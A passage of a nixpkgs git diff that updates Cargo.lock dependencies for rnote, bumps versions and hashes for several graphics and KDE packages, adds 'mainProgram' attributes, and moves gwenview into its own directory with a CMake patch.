"windows_i686_gnu 0.52.0", - "windows_i686_msvc 0.52.0", - "windows_x86_64_gnu 0.52.0", - "windows_x86_64_gnullvm 0.52.0", - "windows_x86_64_msvc 0.52.0", + "windows_aarch64_gnullvm 0.52.4", + "windows_aarch64_msvc 0.52.4", + "windows_i686_gnu 0.52.4", + "windows_i686_msvc 0.52.4", + "windows_x86_64_gnu 0.52.4", + "windows_x86_64_gnullvm 0.52.4", + "windows_x86_64_msvc 0.52.4", ] [[package]] @@ -4855,9 +4918,9 @@ checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" [[package]] name = "windows_aarch64_gnullvm" -version = "0.52.0" +version = "0.52.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" +checksum = "bcf46cf4c365c6f2d1cc93ce535f2c8b244591df96ceee75d8e83deb70a9cac9" [[package]] name = "windows_aarch64_msvc" @@ -4873,9 +4936,9 @@ checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" [[package]] name = "windows_aarch64_msvc" -version = "0.52.0" +version = "0.52.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" +checksum = "da9f259dd3bcf6990b55bffd094c4f7235817ba4ceebde8e6d11cd0c5633b675" [[package]] name = "windows_i686_gnu" @@ -4891,9 +4954,9 @@ checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" [[package]] name = "windows_i686_gnu" -version = "0.52.0" +version = "0.52.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" +checksum = "b474d8268f99e0995f25b9f095bc7434632601028cf86590aea5c8a5cb7801d3" [[package]] name = "windows_i686_msvc" @@ -4909,9 +4972,9 @@ checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" [[package]] name = "windows_i686_msvc" -version = "0.52.0" +version = "0.52.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" +checksum = "1515e9a29e5bed743cb4415a9ecf5dfca648ce85ee42e15873c3cd8610ff8e02" [[package]] name = "windows_x86_64_gnu" @@ -4927,9 +4990,9 @@ checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" [[package]] name = "windows_x86_64_gnu" -version = "0.52.0" +version = "0.52.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" +checksum = "5eee091590e89cc02ad514ffe3ead9eb6b660aedca2183455434b93546371a03" [[package]] name = "windows_x86_64_gnullvm" @@ -4945,9 +5008,9 @@ checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" [[package]] name = "windows_x86_64_gnullvm" -version = "0.52.0" +version = "0.52.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" +checksum = "77ca79f2451b49fa9e2af39f0747fe999fcda4f5e241b2898624dca97a1f2177" [[package]] name = "windows_x86_64_msvc" @@ -4963,15 +5026,24 @@ checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" [[package]] name = "windows_x86_64_msvc" -version = "0.52.0" +version = "0.52.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32b752e52a2da0ddfbdbcc6fceadfeede4c939ed16d13e648833a61dfb611ed8" + +[[package]] +name = "winnow" +version = "0.5.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" +checksum = "f593a95398737aeed53e489c785df13f3618e41dbcd6718c6addbf1395aa6876" +dependencies = [ + "memchr", +] [[package]] name = "winnow" -version = "0.5.25" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b7e87b8dfbe3baffbe687eef2e164e32286eff31a5ee16463ce03d991643ec94" +checksum = "dffa400e67ed5a4dd237983829e66475f0a4a26938c4b04c21baede6262215b8" dependencies = [ "memchr", ] @@ -5004,12 +5076,6 @@ dependencies = [ ] [[package]] -name = "xmlparser" -version = "0.13.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "66fee0b777b0f5ac1c69bb06d361268faafa61cd4682ae064a171c16c433e9e4" - -[[package]] name = "xmlwriter" version = "0.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -5017,22 +5083,22 @@ checksum = "ec7a2a501ed189703dba8b08142f057e887dfc4b2cc4db2d343ac6376ba3e0b9" [[package]] name = "zerocopy" -version = "0.7.29" +version = "0.7.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5d075cf85bbb114e933343e087b92f2146bac0d55b534cbb8188becf0039948e" +checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be" dependencies = [ "zerocopy-derive", ] [[package]] name = "zerocopy-derive" -version = "0.7.29" +version = "0.7.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "86cd5ca076997b97ef09d3ad65efe811fa68c9e874cb636ccb211223a813b0c2" +checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.52", ] [[package]] diff --git a/pkgs/applications/graphics/rnote/default.nix b/pkgs/applications/graphics/rnote/default.nix index 7940e574dc507..33ca802347112 100644 --- a/pkgs/applications/graphics/rnote/default.nix +++ b/pkgs/applications/graphics/rnote/default.nix @@ -2,6 +2,7 @@ , stdenv , fetchFromGitHub , alsa-lib +, appstream , appstream-glib , cargo , cmake @@ -26,20 +27,20 @@ stdenv.mkDerivation rec { pname = "rnote"; - version = "0.9.4"; + version = "0.10.0"; src = fetchFromGitHub { owner = "flxzt"; repo = "rnote"; rev = "v${version}"; - hash = "sha256-twysPSuCu++dVqoRKTNSvxwrO1ljUu4k2vPZEBkaj10="; + hash = "sha256-PMg83eWcC21yNiRYdTS6/j9gerTctnDPHXIM4PWktrU="; }; cargoDeps = rustPlatform.importCargoLock { lockFile = ./Cargo.lock; outputHashes = { "ink-stroke-modeler-rs-0.1.0" = "sha256-WfZwezohm8+ZXiKZlssTX+b/Izk1M4jFwxQejeTfc6M="; - "piet-0.6.2" = "sha256-WrQok0T7uVQEp8SvNWlgqwQHfS7q0510bnP1ecr+s1Q="; + "piet-0.6.2" = "sha256-3juXzuKwoLuxia6MoVwbcBJ3jXBQ9QRNVoxo3yFp2Iw="; }; }; @@ -67,6 +68,7 @@ stdenv.mkDerivation rec { ]; buildInputs = [ + appstream glib gstreamer gtk4 diff --git a/pkgs/applications/graphics/round/default.nix b/pkgs/applications/graphics/round/default.nix index a41ecc8db73df..b65567dcab400 100644 --- a/pkgs/applications/graphics/round/default.nix +++ b/pkgs/applications/graphics/round/default.nix @@ -23,5 +23,6 @@ buildGoModule rec { homepage = "https://github.com/mingrammer/round"; license = licenses.mit; maintainers = with maintainers; [ addict3d ]; + mainProgram = "round"; }; } diff --git a/pkgs/applications/graphics/shotwell/default.nix b/pkgs/applications/graphics/shotwell/default.nix index d93423e075218..9eb1fbb28ee4d 100644 --- a/pkgs/applications/graphics/shotwell/default.nix +++ b/pkgs/applications/graphics/shotwell/default.nix @@ -11,7 +11,6 @@ , libxml2 , vala , sqlite -, webkitgtk_4_1 , pkg-config , gnome , gst_all_1 @@ -40,11 +39,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "shotwell"; - version = "0.32.4"; + version = "0.32.6"; src = fetchurl { url = "mirror://gnome/sources/shotwell/${lib.versions.majorMinor finalAttrs.version}/shotwell-${finalAttrs.version}.tar.xz"; - sha256 = "sha256-3iqUUIRtHOwUxqEDA3X9SeGvJNySCtZIA0QST5zLhW8="; + sha256 = "sha256-dZek/6yR4YzYFEsS8tCDE6P0Bbs2gkOnMmgm99kqcLY="; }; nativeBuildInputs = [ @@ -67,7 +66,6 @@ stdenv.mkDerivation (finalAttrs: { libsoup_3 libxml2 sqlite - webkitgtk_4_1 gst_all_1.gstreamer gst_all_1.gst-libav gst_all_1.gst-plugins-base diff --git a/pkgs/applications/graphics/structorizer/default.nix b/pkgs/applications/graphics/structorizer/default.nix index ca3b17a3ed371..bb6d2660836a8 100644 --- a/pkgs/applications/graphics/structorizer/default.nix +++ b/pkgs/applications/graphics/structorizer/default.nix @@ -10,7 +10,7 @@ stdenv.mkDerivation rec { pname = "structorizer"; - version = "3.32-15"; + version = "3.32-16"; desktopItems = [ (makeDesktopItem { @@ -38,7 +38,7 @@ stdenv.mkDerivation rec { owner = "fesch"; repo = "Structorizer.Desktop"; rev = version; - hash = "sha256-ZCVvMvbXMQIcZRk1F7QiRtNeuLicHe/aEvwp4FvhwoM="; + hash = "sha256-K/ofwwlkZF13V0IZEL166n58ylm+qdh1jbXzH7LwXog="; }; patches = [ ./makeStructorizer.patch ./makeBigJar.patch ]; diff --git a/pkgs/applications/graphics/swingsane/default.nix b/pkgs/applications/graphics/swingsane/default.nix index 6d2b6e4bb7a7e..998c3d2110315 100644 --- a/pkgs/applications/graphics/swingsane/default.nix +++ b/pkgs/applications/graphics/swingsane/default.nix @@ -58,5 +58,6 @@ stdenv.mkDerivation rec { sourceProvenance = with sourceTypes; [ binaryBytecode ]; license = licenses.asl20; platforms = platforms.all; + mainProgram = "swingsane"; }; } diff --git a/pkgs/applications/graphics/sxiv/default.nix b/pkgs/applications/graphics/sxiv/default.nix index 65450d515668b..f3d7086d4a098 100644 --- a/pkgs/applications/graphics/sxiv/default.nix +++ b/pkgs/applications/graphics/sxiv/default.nix @@ -30,5 +30,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2Plus; platforms = lib.platforms.linux; maintainers = with maintainers; [ h7x4 ]; + mainProgram = "sxiv"; }; } diff --git a/pkgs/applications/graphics/tesseract/tesseract3.nix b/pkgs/applications/graphics/tesseract/tesseract3.nix index bf19d0f77eb6f..d796e506a8772 100644 --- a/pkgs/applications/graphics/tesseract/tesseract3.nix +++ b/pkgs/applications/graphics/tesseract/tesseract3.nix @@ -44,5 +44,6 @@ stdenv.mkDerivation rec { license = lib.licenses.asl20; maintainers = with lib.maintainers; [ viric erikarvstedt ]; platforms = with lib.platforms; linux ++ darwin; + mainProgram = "tesseract"; }; } diff --git a/pkgs/applications/graphics/tesseract/tesseract4.nix b/pkgs/applications/graphics/tesseract/tesseract4.nix index 5bd682988526a..88cda12a9c5eb 100644 --- a/pkgs/applications/graphics/tesseract/tesseract4.nix +++ b/pkgs/applications/graphics/tesseract/tesseract4.nix @@ -49,5 +49,6 @@ stdenv.mkDerivation rec { license = lib.licenses.asl20; maintainers = with lib.maintainers; [ viric erikarvstedt ]; platforms = with lib.platforms; linux ++ darwin; + mainProgram = "tesseract"; }; } diff --git a/pkgs/applications/graphics/unigine-superposition/default.nix b/pkgs/applications/graphics/unigine-superposition/default.nix index bc8e128ba44a2..07813cbc415e7 100644 --- a/pkgs/applications/graphics/unigine-superposition/default.nix +++ b/pkgs/applications/graphics/unigine-superposition/default.nix @@ -143,5 +143,6 @@ buildFHSEnv { license = lib.licenses.unfree; maintainers = [ lib.maintainers.BarinovMaxim ]; platforms = [ "x86_64-linux" ]; + mainProgram = "Superposition"; }; } diff --git a/pkgs/applications/graphics/upscayl/default.nix b/pkgs/applications/graphics/upscayl/default.nix index 24b8bc1483b27..9675f4cf17dcc 100644 --- a/pkgs/applications/graphics/upscayl/default.nix +++ b/pkgs/applications/graphics/upscayl/default.nix @@ -4,11 +4,11 @@ lib, }: let pname = "upscayl"; - version = "2.9.8"; + version = "2.10.0"; src = fetchurl { url = "https://github.com/upscayl/upscayl/releases/download/v${version}/upscayl-${version}-linux.AppImage"; - hash = "sha256-hLK9AX87WbJdKTV/rzEzNeaUWeDz1+bvp/R2LkjHp+w="; + hash = "sha256-nRYNYNHIkbvvQZd1zRDCCsCadgRgV/yn9WfaKjt44O8="; }; appimageContents = appimageTools.extractType2 { @@ -38,5 +38,6 @@ in maintainers = with maintainers; [icy-thought]; license = licenses.agpl3Plus; platforms = platforms.linux; + mainProgram = "upscayl"; }; } diff --git a/pkgs/applications/graphics/vengi-tools/default.nix b/pkgs/applications/graphics/vengi-tools/default.nix index 23b6f5009ce42..771ae49e220d5 100644 --- a/pkgs/applications/graphics/vengi-tools/default.nix +++ b/pkgs/applications/graphics/vengi-tools/default.nix @@ -27,14 +27,14 @@ , nixosTests }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "vengi-tools"; version = "0.0.28"; src = fetchFromGitHub { owner = "mgerhardy"; repo = "vengi"; - rev = "v${version}"; + rev = "v${finalAttrs.version}"; hash = "sha256-UjSm/J/y7MUg3Exmw0P56+bcjiLxXdGS2brocdzgJ+c="; }; @@ -107,4 +107,4 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ fgaz ]; platforms = platforms.all; }; -} +}) diff --git a/pkgs/applications/graphics/viewnior/default.nix b/pkgs/applications/graphics/viewnior/default.nix index 7f90c815837ae..bfd707f55132d 100644 --- a/pkgs/applications/graphics/viewnior/default.nix +++ b/pkgs/applications/graphics/viewnior/default.nix @@ -58,5 +58,6 @@ stdenv.mkDerivation rec { homepage = "https://siyanpanayotov.com/project/viewnior/"; maintainers = with maintainers; [ smironov artturin ]; platforms = platforms.gnu ++ platforms.linux; + mainProgram = "viewnior"; }; } diff --git a/pkgs/applications/graphics/vpv/default.nix b/pkgs/applications/graphics/vpv/default.nix index 27957a5fa86ff..1bbdbd4a35e7a 100644 --- a/pkgs/applications/graphics/vpv/default.nix +++ b/pkgs/applications/graphics/vpv/default.nix @@ -59,5 +59,6 @@ stdenv.mkDerivation (finalAttrs: { maintainers = [ lib.maintainers.kidanger ]; license = lib.licenses.gpl3; broken = stdenv.isDarwin; # the CMake expects the SDL2::SDL2main target for darwin + mainProgram = "vpv"; }; }) diff --git a/pkgs/applications/graphics/wings/default.nix b/pkgs/applications/graphics/wings/default.nix index 094a483ae7b8d..87e0a47cc5ae1 100644 --- a/pkgs/applications/graphics/wings/default.nix +++ b/pkgs/applications/graphics/wings/default.nix @@ -50,5 +50,6 @@ stdenv.mkDerivation rec { license = lib.licenses.tcltk; maintainers = with lib.maintainers; [ viric ]; platforms = with lib.platforms; linux; + mainProgram = "wings"; }; } diff --git a/pkgs/applications/graphics/xfractint/default.nix b/pkgs/applications/graphics/xfractint/default.nix index c43127bfa9932..d4873dd926894 100644 --- a/pkgs/applications/graphics/xfractint/default.nix +++ b/pkgs/applications/graphics/xfractint/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { maintainers = [lib.maintainers.raskin]; platforms = lib.platforms.linux; homepage = "https://www.fractint.net/"; + mainProgram = "xfractint"; }; } diff --git a/pkgs/applications/graphics/xmountains/default.nix b/pkgs/applications/graphics/xmountains/default.nix index 61020e678c307..d7c70f18b5b62 100644 --- a/pkgs/applications/graphics/xmountains/default.nix +++ b/pkgs/applications/graphics/xmountains/default.nix @@ -21,5 +21,6 @@ stdenv.mkDerivation rec { homepage = "https://spbooth.github.io/xmountains"; license = licenses.hpndSellVariant; maintainers = with maintainers; [ djanatyn ]; + mainProgram = "xmountains"; }; } diff --git a/pkgs/applications/graphics/xournal/default.nix b/pkgs/applications/graphics/xournal/default.nix index 288f0446b34ad..7f618b257387f 100644 --- a/pkgs/applications/graphics/xournal/default.nix +++ b/pkgs/applications/graphics/xournal/default.nix @@ -59,5 +59,6 @@ stdenv.mkDerivation rec { maintainers = [ maintainers.guibert ]; license = licenses.gpl2; platforms = with platforms; linux ++ darwin; + mainProgram = "xournal"; }; } diff --git a/pkgs/applications/graphics/xzgv/default.nix b/pkgs/applications/graphics/xzgv/default.nix index d26f6eccf76a2..1617b6459d331 100644 --- a/pkgs/applications/graphics/xzgv/default.nix +++ b/pkgs/applications/graphics/xzgv/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.womfoo ]; platforms = platforms.linux; + mainProgram = "xzgv"; }; } diff --git a/pkgs/applications/graphics/yacreader/default.nix b/pkgs/applications/graphics/yacreader/default.nix index b70fdfc9d74c3..9487e0c352fe7 100644 --- a/pkgs/applications/graphics/yacreader/default.nix +++ b/pkgs/applications/graphics/yacreader/default.nix @@ -5,13 +5,13 @@ mkDerivation rec { pname = "yacreader"; - version = "9.13.1"; + version = "9.14.2"; src = fetchFromGitHub { owner = "YACReader"; repo = pname; rev = version; - sha256 = "sha256-kiacyHA/G0TnRH/96RqDTF7vdDnf2POMw/iSgtSRbmM="; + sha256 = "sha256-gQ4Aaapini6j3lCtowFbrfwbe91aFl50hp1EfxTO8uY="; }; nativeBuildInputs = [ qmake pkg-config ]; @@ -22,6 +22,7 @@ mkDerivation rec { description = "A comic reader for cross-platform reading and managing your digital comic collection"; homepage = "http://www.yacreader.com"; license = lib.licenses.gpl3; + mainProgram = "YACReader"; maintainers = with lib.maintainers; [ ]; }; } diff --git a/pkgs/applications/graphics/yed/default.nix b/pkgs/applications/graphics/yed/default.nix index ccb6b087215a8..4e70c9d37aba4 100644 --- a/pkgs/applications/graphics/yed/default.nix +++ b/pkgs/applications/graphics/yed/default.nix @@ -36,5 +36,6 @@ stdenv.mkDerivation rec { description = "A powerful desktop application that can be used to quickly and effectively generate high-quality diagrams"; platforms = jre.meta.platforms; maintainers = with maintainers; [ abbradar ]; + mainProgram = "yed"; }; } diff --git a/pkgs/applications/graphics/yeetgif/default.nix b/pkgs/applications/graphics/yeetgif/default.nix index d464b56cb2650..6e3b7ecee39fa 100644 --- a/pkgs/applications/graphics/yeetgif/default.nix +++ b/pkgs/applications/graphics/yeetgif/default.nix @@ -29,5 +29,6 @@ buildGoModule rec { homepage = "https://github.com/sgreben/yeetgif"; license = with licenses; [ mit asl20 cc-by-nc-sa-40 ]; maintainers = with maintainers; [ ajs124 ]; + mainProgram = "gif"; }; } diff --git a/pkgs/applications/graphics/zgrviewer/default.nix b/pkgs/applications/graphics/zgrviewer/default.nix index cf0dd52ee73c2..980e631ad41f5 100644 --- a/pkgs/applications/graphics/zgrviewer/default.nix +++ b/pkgs/applications/graphics/zgrviewer/default.nix @@ -28,5 +28,6 @@ stdenv.mkDerivation rec { license = lib.licenses.lgpl21Plus; description = "GraphViz graph viewer/navigator"; platforms = with lib.platforms; unix; + mainProgram = "zgrviewer"; }; } diff --git a/pkgs/applications/graphics/zgv/default.nix b/pkgs/applications/graphics/zgv/default.nix index a4e5e725490f0..0b63f46731902 100644 --- a/pkgs/applications/graphics/zgv/default.nix +++ b/pkgs/applications/graphics/zgv/default.nix @@ -38,5 +38,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.vrthra ]; platforms = platforms.linux; + mainProgram = "zgv"; }; } diff --git a/pkgs/applications/kde/angelfish.nix b/pkgs/applications/kde/angelfish.nix index 6983d3eb14a5c..1bd6084a1883b 100644 --- a/pkgs/applications/kde/angelfish.nix +++ b/pkgs/applications/kde/angelfish.nix @@ -24,7 +24,7 @@ , srcs # provided as callPackage input to enable easier overrides through overlays -, cargoSha256 ? "sha256-EXsAvI8dKgCGmLbGr9fdk/F9UwtSfd/aIyqAy5tvFSI=" +, cargoSha256 ? "sha256-PSrTo7nGgH0KxA82RlBEwtOu80WMCBeaCxHj3n7SgEE=" }: mkDerivation rec { diff --git a/pkgs/applications/kde/arianna.nix b/pkgs/applications/kde/arianna.nix index e1a0998003808..fe3038789a237 100644 --- a/pkgs/applications/kde/arianna.nix +++ b/pkgs/applications/kde/arianna.nix @@ -16,6 +16,7 @@ , kfilemetadata , ki18n , kirigami-addons +, kitemmodels , kquickcharts , kwindowsystem , qqc2-desktop-style @@ -44,6 +45,7 @@ mkDerivation { kfilemetadata ki18n kirigami-addons + kitemmodels kquickcharts kwindowsystem qqc2-desktop-style diff --git a/pkgs/applications/kde/default.nix b/pkgs/applications/kde/default.nix index 3fd3894719759..8e04700b83fdd 100644 --- a/pkgs/applications/kde/default.nix +++ b/pkgs/applications/kde/default.nix @@ -13,7 +13,7 @@ IF YOUR PACKAGE IS NOT LISTED IN `./srcs.nix`, IT DOES NOT GO HERE. Many of the packages released upstream are not yet built in Nixpkgs due to lack of demand. To add a Nixpkgs build for an upstream package, copy one of the existing packages here and modify it as necessary. A simple example package that -still shows most of the available features is in `./gwenview.nix`. +still shows most of the available features is in `./gwenview`. # Updates @@ -92,7 +92,7 @@ let ghostwriter = callPackage ./ghostwriter.nix {}; granatier = callPackage ./granatier.nix {}; grantleetheme = callPackage ./grantleetheme {}; - gwenview = callPackage ./gwenview.nix {}; + gwenview = callPackage ./gwenview {}; incidenceeditor = callPackage ./incidenceeditor.nix {}; itinerary = callPackage ./itinerary.nix {}; juk = callPackage ./juk.nix {}; diff --git a/pkgs/applications/kde/fetch.sh b/pkgs/applications/kde/fetch.sh index 2d6455fad777e..de4f09e09a0c7 100644 --- a/pkgs/applications/kde/fetch.sh +++ b/pkgs/applications/kde/fetch.sh @@ -1 +1 @@ -WGET_ARGS=( https://download.kde.org/stable/release-service/23.08.4/src -A '*.tar.xz' ) +WGET_ARGS=( https://download.kde.org/stable/release-service/23.08.5/src -A '*.tar.xz' ) diff --git a/pkgs/applications/kde/gwenview.nix b/pkgs/applications/kde/gwenview/default.nix index 2913f7a464558..d697778f47267 100644 --- a/pkgs/applications/kde/gwenview.nix +++ b/pkgs/applications/kde/gwenview/default.nix @@ -16,6 +16,10 @@ mkDerivation { maintainers = [ lib.maintainers.ttuegel ]; mainProgram = "gwenview"; }; + + # Fix build with versioned kImageAnnotator + patches = [./kimageannotator.patch]; + nativeBuildInputs = [ extra-cmake-modules kdoctools ]; buildInputs = [ baloo kactivities kio kitemmodels kparts libkdcraw libkipi phonon diff --git a/pkgs/applications/kde/gwenview/kimageannotator.patch b/pkgs/applications/kde/gwenview/kimageannotator.patch new file mode 100644 index 0000000000000..83cba93e49c15 --- /dev/null +++ b/pkgs/applications/kde/gwenview/kimageannotator.patch @@ -0,0 +1,56 @@ +diff --git a/CMakeLists.txt b/CMakeLists.txt +index 01db0fb1..06319c54 100644 +--- a/CMakeLists.txt ++++ b/CMakeLists.txt +@@ -166,12 +166,12 @@ if(NOT WITHOUT_X11) + endif() + + if (QT_MAJOR_VERSION STREQUAL "5") +- find_package(kImageAnnotator) +- set_package_properties(kImageAnnotator PROPERTIES URL "https://github.com/ksnip/kImageAnnotator" DESCRIPTION "The kImageAnnotator library provides tools to annotate" TYPE REQUIRED) +- if(kImageAnnotator_FOUND) ++ find_package(kImageAnnotator-Qt5) ++ set_package_properties(kImageAnnotator-Qt5 PROPERTIES URL "https://github.com/ksnip/kImageAnnotator" DESCRIPTION "The kImageAnnotator library provides tools to annotate" TYPE REQUIRED) ++ if(kImageAnnotator-Qt5_FOUND) + set(KIMAGEANNOTATOR_FOUND 1) +- find_package(kColorPicker REQUIRED) +- if(NOT kImageAnnotator_VERSION VERSION_LESS 0.5.0) ++ find_package(kColorPicker-Qt5 REQUIRED) ++ if(NOT kImageAnnotator-Qt5_VERSION VERSION_LESS 0.5.0) + set(KIMAGEANNOTATOR_CAN_LOAD_TRANSLATIONS 1) + endif() + endif() +diff --git a/app/CMakeLists.txt b/app/CMakeLists.txt +index 8c136835..ef4cff74 100644 +--- a/app/CMakeLists.txt ++++ b/app/CMakeLists.txt +@@ -157,6 +157,6 @@ target_link_libraries(slideshowfileitemaction + KF${QT_MAJOR_VERSION}::KIOWidgets + KF${QT_MAJOR_VERSION}::Notifications) + +-if(kImageAnnotator_FOUND) ++if(kImageAnnotator-Qt5_FOUND) + target_link_libraries(gwenview kImageAnnotator::kImageAnnotator) + endif() +diff --git a/lib/CMakeLists.txt b/lib/CMakeLists.txt +index 05a2ea67..4167a1bb 100644 +--- a/lib/CMakeLists.txt ++++ b/lib/CMakeLists.txt +@@ -157,7 +157,7 @@ set(gwenviewlib_SRCS + touch/touch_helper.cpp + ${GV_JPEG_DIR}/transupp.c + ) +-if (kImageAnnotator_FOUND) ++if (kImageAnnotator-Qt5_FOUND) + set(gwenviewlib_SRCS ${gwenviewlib_SRCS} + annotate/annotatedialog.cpp + annotate/annotateoperation.cpp +@@ -338,7 +338,7 @@ if (GWENVIEW_SEMANTICINFO_BACKEND_BALOO) + ) + endif() + +-if(kImageAnnotator_FOUND) ++if(kImageAnnotator-Qt5_FOUND) + target_link_libraries(gwenviewlib kImageAnnotator::kImageAnnotator) + endif() + diff --git a/pkgs/applications/kde/itinerary.nix b/pkgs/applications/kde/itinerary.nix index c08aa346cde09..7ac03f0800ff6 100644 --- a/pkgs/applications/kde/itinerary.nix +++ b/pkgs/applications/kde/itinerary.nix @@ -19,6 +19,7 @@ , kunitconversion , libquotient , networkmanager-qt +, prison , qqc2-desktop-style , qtpositioning , qtquickcontrols2 @@ -53,6 +54,7 @@ mkDerivation { kunitconversion libquotient networkmanager-qt + prison qqc2-desktop-style qtpositioning qtquickcontrols2 diff --git a/pkgs/applications/kde/kcachegrind.nix b/pkgs/applications/kde/kcachegrind.nix index 61ff38f316848..3648c18934492 100644 --- a/pkgs/applications/kde/kcachegrind.nix +++ b/pkgs/applications/kde/kcachegrind.nix @@ -2,7 +2,7 @@ mkDerivation, lib, extra-cmake-modules, kdoctools, karchive, ki18n, kio, perl, python3, php, qttools, - kdbusaddons + kdbusaddons, makeBinaryWrapper, graphviz }: mkDerivation { @@ -13,6 +13,10 @@ mkDerivation { license = with lib.licenses; [ gpl2 ]; maintainers = with lib.maintainers; [ orivej ]; }; - nativeBuildInputs = [ extra-cmake-modules kdoctools ]; + nativeBuildInputs = [ extra-cmake-modules kdoctools makeBinaryWrapper ]; buildInputs = [ karchive ki18n kio perl python3 php qttools kdbusaddons ]; + postInstall = '' + wrapProgram $out/bin/kcachegrind \ + --suffix PATH : "${lib.makeBinPath [ graphviz ]}" + ''; } diff --git a/pkgs/applications/kde/konsole.nix b/pkgs/applications/kde/konsole.nix index 1ef8da3d385d0..e063743186dc3 100644 --- a/pkgs/applications/kde/konsole.nix +++ b/pkgs/applications/kde/konsole.nix @@ -14,6 +14,7 @@ mkDerivation { description = "KDE terminal emulator"; license = with lib.licenses; [ gpl2Plus lgpl21Plus fdl12Plus ]; maintainers = with lib.maintainers; [ ttuegel ]; + mainProgram = "konsole"; }; nativeBuildInputs = [ extra-cmake-modules kdoctools ]; buildInputs = [ diff --git a/pkgs/applications/kde/srcs.nix b/pkgs/applications/kde/srcs.nix index c88723d9c9091..af83cc951be85 100644 --- a/pkgs/applications/kde/srcs.nix +++ b/pkgs/applications/kde/srcs.nix @@ -4,1955 +4,1955 @@ { akonadi = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/akonadi-23.08.4.tar.xz"; - sha256 = "0dj9xn0bpcq409kfd61zh5wdhbh4yrlviwhlmxawrm1mx5r07yv3"; - name = "akonadi-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/akonadi-23.08.5.tar.xz"; + sha256 = "0f2gkifli8aslcrcqclai6kv9vrimmsj2afp378nljh8q4ldpnxb"; + name = "akonadi-23.08.5.tar.xz"; }; }; akonadi-calendar = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/akonadi-calendar-23.08.4.tar.xz"; - sha256 = "0xayrqrragk1vp0rsghdpx482c3f23iri0rd70v86393qdhb59mq"; - name = "akonadi-calendar-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/akonadi-calendar-23.08.5.tar.xz"; + sha256 = "1jirjckcix5ny3dqqk7qf1089kwfvzibk2jaxr437v8jji0ak3fg"; + name = "akonadi-calendar-23.08.5.tar.xz"; }; }; akonadi-calendar-tools = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/akonadi-calendar-tools-23.08.4.tar.xz"; - sha256 = "17s24ijhk68dw7ailk992a7xkdjl6dj5nwr06zlvdhskxx9z3xrc"; - name = "akonadi-calendar-tools-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/akonadi-calendar-tools-23.08.5.tar.xz"; + sha256 = "1al0b11cln9axh3fhv4hlns73v7z36yq24z1v8i6ka4n81445fw3"; + name = "akonadi-calendar-tools-23.08.5.tar.xz"; }; }; akonadi-contacts = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/akonadi-contacts-23.08.4.tar.xz"; - sha256 = "1nxm1lwk6jazfv684gb4w1y9r8xaj0y14xvsslljf018l20wqr4q"; - name = "akonadi-contacts-23.08.4.tar.xz"; + url = "${mirror}/stable/release-service/23.08.5/src/akonadi-contacts-23.08.5.tar.xz"; + sha256 = "0la2rxcngxffm7pz6xmmv3zv2qzand88194q8c3xpnxlddyb7977"; + name = "akonadi-contacts-23.08.5.tar.xz"; }; }; akonadi-import-wizard = { - version = "23.08.4"; + version = "23.08.5"; src = fetchurl { - url = "${mirror}/stable/release-service/23.08.4/src/akonadi-import-wizard-23.08.4.tar.xz"; - sha256 = "08pk36hw9v9bs8scgxzbwlhlcyikbcliybp1p6ga2j7p8mjm6fg2"; - name = "akonadi-import-wizard-23.08.4.tar.xz"; + url = 